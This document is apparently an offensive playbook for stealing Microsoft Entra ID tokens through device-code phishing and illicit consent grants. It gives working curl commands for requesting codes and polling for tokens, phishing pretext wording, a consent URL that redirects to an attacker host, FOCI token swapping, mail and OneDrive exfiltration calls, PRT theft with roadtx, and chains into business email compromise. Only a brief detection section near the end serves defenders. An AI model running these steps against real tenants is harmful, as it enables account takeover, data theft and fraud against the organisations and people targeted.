Entra Device-Code & Illicit-Consent Phishing
Steal Entra ID tokens without ever owning the password. Two primary primitives:
- Device-code phishing — abuse the OAuth 2.0 device authorization grant: target enters YOUR code on the real MS login page.
- Illicit consent grant — register an app, get the user to consent to delegated Graph scopes.
Both bypass MFA-at-login (the user already MFAd against the real IdP) and produce tokens with broad scope.
Phase 1: Device-code flow
Request the device code
# Use a first-party client ID (impersonate a Microsoft app — no consent prompt).
# AzureCLI: 04b07795-8ddb-461a-bbee-02f9e1bf7b46
# Teams: 1fec8e78-bce4-4aaf-ab1b-5451cc387264
# Office: d3590ed6-52b3-4102-aeff-aad2292ab01c
CLIENT=04b07795-8ddb-461a-bbee-02f9e1bf7b46
TENANT=<TENANT> # or "common"
resp=$(curl -s -X POST "https://login.microsoftonline.com/${TENANT}/oauth2/v2.0/devicecode" \
-d "client_id=${CLIENT}&scope=https://graph.microsoft.com/.default offline_access openid profile")
echo "$resp" | jq .
DEV_CODE=$(echo "$resp" | jq -r .device_code)
USER_CODE=$(echo "$resp" | jq -r .user_code)
echo "Send target to: https://microsoft.com/devicelogin CODE: $USER_CODE"
Pretext delivery
Email / Teams message saying "To join the secure briefing, open microsoft.com/devicelogin and enter code <USER_CODE>. Code expires in 15 minutes." — the URL and brand are legitimate Microsoft, which makes it slip past most secure-email gateways.
Poll for the token
while :; do
r=$(curl -s -X POST "https://login.microsoftonline.com/${TENANT}/oauth2/v2.0/token" \
-d "grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=${CLIENT}&device_code=${DEV_CODE}")
err=$(echo "$r" | jq -r .error)
case "$err" in
authorization_pending) sleep 5 ;;
null) echo "$r" | jq . ; ACCESS=$(echo "$r" | jq -r .access_token); REFRESH=$(echo "$r" | jq -r .refresh_token); break ;;
*) echo "ERR: $err" ; break ;;
esac
done
Family-of-Client-IDs (FOCI) — single token, all Microsoft apps
The above CLIENT is a FOCI app. Trade the refresh token for a token of ANY other FOCI app — no new consent:
# Swap to Outlook for mailbox access:
curl -s -X POST "https://login.microsoftonline.com/${TENANT}/oauth2/v2.0/token" \
-d "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&grant_type=refresh_token&refresh_token=${REFRESH}&scope=https://outlook.office.com/.default offline_access"
TokenTactics / TokenTacticsV2 (PowerShell) automates the swap matrix.
Phase 2: Illicit consent grant (malicious app)
Register the attacker app
# Register in YOUR attacker tenant (multi-tenant).
# Redirect URI: https://<ATTACKER>/redirect ; Sign-in audience: multi-tenant + personal MSA
# Add delegated scopes (NO admin consent needed):
# Mail.Read, Mail.Send, Files.Read.All, offline_access, openid, profile
# Capture App (client) ID = APP_ID
APP_ID=<APP_ID>
Craft the consent URL
SCOPES="https://graph.microsoft.com/Mail.Read https://graph.microsoft.com/Files.Read.All offline_access"
REDIR=https://<ATTACKER>/redirect
echo "https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=${APP_ID}&response_type=code&redirect_uri=${REDIR}&response_mode=query&scope=${SCOPES}&state=phish"
Brand the app Contoso HR Portal or similar; Microsoft renders YOUR app name on the consent screen. If the tenant has user consent for low-risk delegated scopes enabled (default in many tenants), the user single-clicks "Accept" and you have tokens.
Exchange code for tokens at your redirect
CODE=<CODE_FROM_REDIRECT>
curl -s -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/token" \
-d "client_id=${APP_ID}&grant_type=authorization_code&code=${CODE}&redirect_uri=${REDIR}&scope=${SCOPES}&client_secret=<APP_SECRET>" \
| jq .
Phase 3: Token replay
# Mail exfil
curl -s -H "Authorization: Bearer $ACCESS" \
"https://graph.microsoft.com/v1.0/me/messages?\$top=999" | jq .
# OneDrive exfil
curl -s -H "Authorization: Bearer $ACCESS" \
"https://graph.microsoft.com/v1.0/me/drive/root/search(q='password')" | jq .
# Persist via refresh token (90-day inactive TTL on consumer, 14-day default on CA-protected tenants)
curl -s -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/token" \
-d "client_id=${APP_ID}&grant_type=refresh_token&refresh_token=${REFRESH}&scope=${SCOPES}"
Phase 4: Primary Refresh Token (PRT) concepts
A PRT is the long-lived token issued to an Entra-joined / Entra-registered Windows device. It is bound to a device key in the TPM. With SYSTEM on the device:
# ROADtools roadtx (post-exploitation, requires local SYSTEM):
roadtx prt -u <UPN> # extract PRT cookie via BrowserCore
roadtx browserprtauth # use PRT to silently auth as the user → tokens for any FOCI app
# Or: Lee Christensen / Dirk-jan PoCs — request PRT + session key, mint x-ms-RefreshTokenCredential cookie.
A stolen PRT effectively == user identity until device revocation. Even MFA isn't re-prompted (PRT already carries MFA claim).
Chains
- Device-code phish → FOCI swap → Outlook + OneDrive exfil → Teams pretext → second victim.
- Illicit consent → Mail.Send delegated → internal phishing FROM victim mailbox (BEC).
- Device-code phish on admin → Graph privesc (see
entra-privesc§ service-principal credential addition). - PRT theft (post-RCE on joined endpoint) → app tokens forever (until device disabled).
Tools
- TokenTactics / TokenTacticsV2 (Steve Borosh) — PowerShell device-code + FOCI swap.
- GraphRunner (Beau Bullock) — pull mail/files/teams from a stolen token; pivot via consent.
- roadtx (ROADtools) — full device-code + PRT support.
- 365-Stealer — illicit-consent automation.
- o365 attack toolkit / Evilginx Microsoft phishlet — alternative path (full MitM).
Detection signatures
- Entra Sign-in log:
Application = Microsoft Authentication BrokerorMicrosoft Azure CLIfrom unusual ASN/country = device-code abuse hallmark. - Audit log:
Consent to applicationevent withConsentType=User+ScopescontainingMail.Read/Files.Read.Allfrom a non-IT identity. - MS Defender for Cloud Apps
Unusual addition of credentials to an OAuth appalert. - Risky sign-in:
unfamiliarFeatures+anonymousIPtriggered by token replay from Tor/VPS.
Decision gate
- CA blocks unmanaged devices → use FOCI swap to a client whose CA exclusion (
Microsoft Intune Enrollment) is wider. - Tenant has
User consent disabled→ only admin-consent path → social-engineer a Global Admin or pre-existing app-owner. - Got Global Admin via consent? Pivot to
entra-privescfor app-credential persistence (survives password reset). - Got mailbox tokens only? Run BEC playbook via Mail.Send before refresh token expires.